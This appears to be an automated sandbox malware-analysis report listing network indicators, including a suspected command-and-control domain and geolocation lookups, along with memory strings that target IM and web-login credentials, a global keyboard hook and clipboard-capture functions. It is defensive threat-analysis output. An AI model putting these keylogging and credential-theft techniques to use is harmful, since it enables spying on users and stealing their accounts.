                        Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
                        Source: Joe Sandbox ViewASN Name: SOFTLAYERUS SOFTLAYERUS
                        Source: Network trafficSuricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.11:49709 -> 178.237.33.50:80
                        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                        Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_0040455B WaitForSingleObject,SetEvent,recv,0_2_0040455B
                        Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422288417.0000000003F10000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1347311358.0000000000B0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: s://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/logind equals www.facebook.com (Facebook)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1347311358.0000000000B0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: s://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com::MBI_SSL&response_type=token&display=windesktop&theme=win7&lc=2057&redirect_uri=https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srf?lc=1033https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live.com/oauth20_desktop.srfhttps://login.live.com/oauth20_logout.srffile:///C:/Windows/system32/oobe/FirstLogonAnim.htmlfile://192.168.2.1/all/install/setup.au3https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/logind equals www.yahoo.com (Yahoo)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422019110.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422019110.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
                        Source: global trafficDNS traffic detected: DNS query: treeofwealth.freemyip.com
                        Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertCloudServicesCA-1.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2SecureServerCA-2.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1-1.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://cacerts.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crt0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertCloudServicesCA-1-g1.crl0?
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl07
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/DigicertSHA2SecureServerCA-1.crl0?
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0H
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0=
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/DigiCertCloudServicesCA-1-g1.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG3.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/DigiCertTLSRSASHA2562020CA1-4.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/DigicertSHA2SecureServerCA-1.crl0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://crl4.digicert.com/GeoTrustGlobalTLSRSA4096SHA2562022CA1.crl0
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeString found in binary or memory: http://geoplugin.net/json.gp/C
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp3
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpJ
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpLoc
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpT
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1420635395.000000000078E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpe
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gperS
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gptti
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000003.1348836321.00000000007CE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gpx
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.digicert.com0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.digicert.com0:
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.digicert.com0H
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.digicert.com0I
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.digicert.com0Q
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.msocsp.com0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocsp.msocsp.com0S
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://ocspx.digicert.com0E
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://www.digicert.com/CPS0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: http://www.digicert.com/CPS0~
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329694102.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329854334.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.com
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422288417.0000000003F10000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000000.00000002.1422288417.0000000003F10000.00000040.10000000.00040000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329694102.00000000005ED000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000003.1329854334.00000000005ED000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.imvu.comta
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000002.1347988252.0000000000193000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaot
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingaotak
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingrms
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=bingth
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://aefd.nelreports.net/api/report?cat=wsb
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svg
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://config.edge.skype.com/config/v1/ODSP_Sync_Client/19.043.0304.0013?UpdateRing=Prod&OS=Win&OSV
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5b&
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://ecs.nel.measure.office.net?TenantId=ODSP_Sync_Client&DestinationEndpoint=Edge-Prod-LAX31r5c&
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?2be02c70ae7fb6c849493dcfeda11a4c
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?8ee5af7fb5aea7e641bf0c7932a586ec
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://fp-vs.azureedge.net/apc/trans.gif?d634c641c04e61ac2d49935c71c49cd0
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://fp.msedge.net/conf/v2/asgw/fpconfig.min.json?monitorId=asgw
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1347311358.0000000000B0D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2https://login.live.com/oauth20_authorize.srfh
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1347660917.0000000002272000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1347016239.0000000002272000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1336503199.0000000002210000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1341850063.0000000002272000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1335510727.0000000002210000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1335772894.0000000002210000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1347446639.0000000002272000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1339824816.0000000002272000.00000004.00000020.00020000.00000000.sdmp, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000003.00000003.1346395374.0000000002272000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srfen&display=windesktop&theme=win7&lc=2057&redirect_uri=http
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeString found in binary or memory: https://login.yahoo.com/config/login
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOq
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://logincdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2022-09-17-00-05-23/PreSignInSettingsConfig.json?One
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2023-10-05-11-05-33/PreSignInSettingsConfig.json
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/update100.xml?OneDriveUpdate=a768266c47ca8e4ad3ff
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/741e3e8c607c445262f3add0e58b18f19e0502af.xml?OneDriveUpdate=526ece
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/ew-preload-inline-2523c8c1505f1172be19.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/otel-logger-104bffe9378b8041455c.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-35de8a913e.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-async-styles.a903b7d0ab82e5bd2f8a.chunk.v7.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bootstrap-5e7af218e953d095fabf.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-3a99f64809c6780df035.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-bundle-994d8943fc9264e2f8d3.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-fluent~left-nav-rc.ac5cfbeadfd63fc27ffd.chunk.v7.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-forms-group~mru~officeforms-group-forms~officeforms
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-mru.2ce72562ad7c0ae7059c.chunk.v7.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendor-bundle-ba2888a24179bf152f3d.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.169ce481376dceef3ef6.chunk.v7.c
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7.j
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/pwaunauth-9d8bc214ac.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedfontstyles-27fa2598d8.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/sharedscripts-939520eada.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticpwascripts-30998bff8f.js
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/bundles/staticstylesfabric-35c34b95e3.css
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/hero-image-desktop-f6720a4145.jpg
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/lockup-mslogo-color-78c06e8898.png
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/microsoft-365-logo-01d5ecd01a.png
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-apps-image-46596a6856.png
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/images/content/images/unauth-checkmark-image-1999f0bf81.png
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/officehome/thirdpartynotice.html
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_regular.woff2
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://res.cdn.office.net/officehub/versionless/webfonts/segoeui_semibold.woff2
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://www.digicert.com/CPS0
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exe, 00000005.00000002.1330108250.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                        Source: 1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
                        Source: bhvBC0F.tmp.3.drString found in binary or memory: https://www.office.com/

                        Key, Mouse, Clipboard, Microphone and Screen Capturing

                        barindex
                        Contains functionality to register a low level keyboard hook
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_004099E4 SetWindowsHookExA 0000000D,004099D0,000000000_2_004099E4
                        Installs a global keyboard hook
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeWindows user hook set: 0 keyboard low level C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeJump to behavior
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00415B5E OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,0_2_00415B5E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 0_2_00415B5E OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,0_2_00415B5E
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,3_2_0040987A
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 3_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,3_2_004098E2
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,4_2_00406DFC
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 4_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,4_2_00406E9F
                        Source: C:\Users\user\Desktop\1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971edfc789.dat-decoded.exeCode function: 5_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,5_2_004068B5
